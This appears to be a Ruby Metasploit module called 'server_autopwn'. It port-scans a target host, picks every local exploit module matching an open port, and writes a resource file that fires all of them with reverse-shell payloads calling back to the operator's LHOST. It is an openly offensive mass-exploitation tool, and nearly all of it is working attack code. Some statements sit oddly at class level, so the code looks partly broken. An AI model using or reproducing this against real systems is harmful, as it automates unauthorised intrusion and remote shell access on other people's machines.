##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/base/sessions/scriptable'
require 'msf/base'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Session::Scriptable
    if File.file?("./msfexec.rc")
      File.delete("./msfexec.rc")
    end
    open('msfexec.rc', 'a') { |f|
      f.puts("back")
      f.puts("set ExitOnSession false")
    }
 def initialize(info = {})
    super(update_info(info,
      'Name'        => 'server_autopwn',
      'Description' => %q{
          This module scans a target and generates a custom msfexec.rc
          resource file to be used against the target.
      },
      'Author'      =>
        [
          'oxagast/Marshall Whittaker'
        ],
      'License'     => MSF_LICENSE
      ))


    register_options(
      [
        OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-65535"]),
        OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
        OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]),
        OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
        OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds", 0]),
        OptString.new('RHOSTS', [true, "The Target's ip"]),
        OptString.new('LHOST', [true, "Local machine to connect back to"]),
        OptString.new('LPATH', [true, "Local path to grep metasploit exploit modules (ends in modules/exploits !)", "./modules/exploits"]),
        OptString.new('ARCH', [true, "Processor architecture of the target", "x64"]),
        OptString.new('EXPLOIT_TIMEOUT', [true, "How long to wait before killing runaway exploits, in seconds", 60])
      ])
  $handler = 2000
  $sploit_count = 0
  $port_count = 0

  deregister_options('RPORT')
      end
 def run_host(ip)
      timeout = datastore['TIMEOUT'].to_i
      ports = Rex::Socket.portspec_crack(datastore['PORTS'])

      if ports.empty?
        raise Msf::OptionValidateError.new(['PORTS'])
      end

      jitter_value = datastore['JITTER'].to_i
      if jitter_value < 0
        raise Msf::OptionValidateError.new(['JITTER'])
      end

      delay_value = datastore['DELAY'].to_i
      if delay_value < 0
        raise Msf::OptionValidateError.new(['DELAY'])
      end
      # Add the delay based on JITTER and DELAY if needs be
      while(ports.length > 0)
        t = []
        r = []
        opentcp = []
        begin
          1.upto(datastore['CONCURRENCY']) do
            this_port = ports.shift
            break if not this_port
            t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port|
              begin
                # Add the delay based on JITTER and DELAY if needs be
                add_delay_jitter(delay_value,jitter_value)

                # Actually perform the TCP connection
                s = connect(false,
                  {
                    'RPORT' => port,
                    'RHOST' => ip,
                    'ConnectTimeout' => (timeout / 1000.0)
                  }
                )
                if s
                  print_good("#{ip}:#{port} - TCP")
                  r << [ip,port,"open"]
                  opentcp << port
                end
              rescue ::Rex::ConnectionRefused
                vprint_status("#{ip}:#{port} - TCP closed")
              rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
              rescue ::Rex::Post::Meterpreter::RequestError
              rescue ::Interrupt
                raise $!
              rescue ::Exception => e
                print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
                ensure
                if s
                  disconnect(s) rescue nil
                end
              end
            end
        end
          t.each {|x| x.join }
        rescue ::Timeout::Error
          ensure
          t.each {|x| x.kill rescue nil }
      end
        r.each do |res|
          report_service(:host => res[0], :port => res[1], :state => res[2])
        end
        # generic shell backup
        $payl = "generic_shell_reverse"
        # use port scanning to build script here
        for openport in opentcp do
          $port_count = opentcp.length
          msfmodules = []
          # find modules  and loop over them
          msfmodules = Find.find(datastore['LPATH']).select { |p| /.*\.rb$/ =~ p }
          for mod in msfmodules do
            if  File.open(mod).grep(/\(#{openport}\)/) do
                open('msfexec.rc', 'a') { |m|
                mod = mod.gsub(/.*exploits\//, "exploits/")
                m.puts("use #{mod}")
                print_good("Adding exploit: #{mod} for default port #{openport}")
                m.puts("set LPORT #{$handler}")
                # try to guess the payload shell from the current exploit
                if mod["linux"]
                  payl = "linux/#{datastore['ARCH']}/shell_reverse_tcp"
                end
                if mod["windows"]
                  payl = "windows/#{datastore['ARCH']}/shell/reverse_tcp"
                end
                if mod["freebsd"]
                  payl = "bsd/#{datastore['ARCH']}/shell/reverse_tcp"
                end
                if mod["osx"]
                  payl = "osx/#{datastore['ARCH']}/shell_reverse_tcp"
                end
                if mod["android"]
                  payl = "android/shell/reverse_tcp"
                end
                if mod["aix"]
                  payl = "aix/ppc/shell_reverse_tcp"
                end
                if mod["solaris"]
                  payl = "solaris/#{datastore['ARCH']}/shell_reverse_tcp"
                end
                m.puts("set payload #{payl}")
                # sleep fixes some parallelism bugs
   #             m.puts("sleep 0.08")
                m.puts("set RHOSTS #{datastore['RHOSTS']}")
                m.puts("set LHOST #{datastore['LHOST']}")
                 m.puts("exploit -j -z")
                m.puts("back")
              }
              # increment the handler so that its on a different LPORT
              $handler = $handler + 1
              $sploit_count = $sploit_count + 1
            end
          end
        end
      end
    end
    # kill jobs and then list sessions
    open('msfexec.rc', 'a') { |f|
      f.puts("sleep #{datastore['EXPLOIT_TIMEOUT']}")
      f.puts("jobs -K")
      f.puts("sessions")
    }
          # run it!
    if $sploit_count > 0
    print_good("#{$sploit_count} exploits added to resource file... good.")
    print_good("Now run 'resource msfexec.rc' to exploit hosts...")
    end
    if $sploit_count == 0
      print_error("Sorry, no exploits added.  Are there open ports?")
      if File.file?("./msfexec.rc")
         File.delete("./msfexec.rc")
      end     
    end
  end                   
end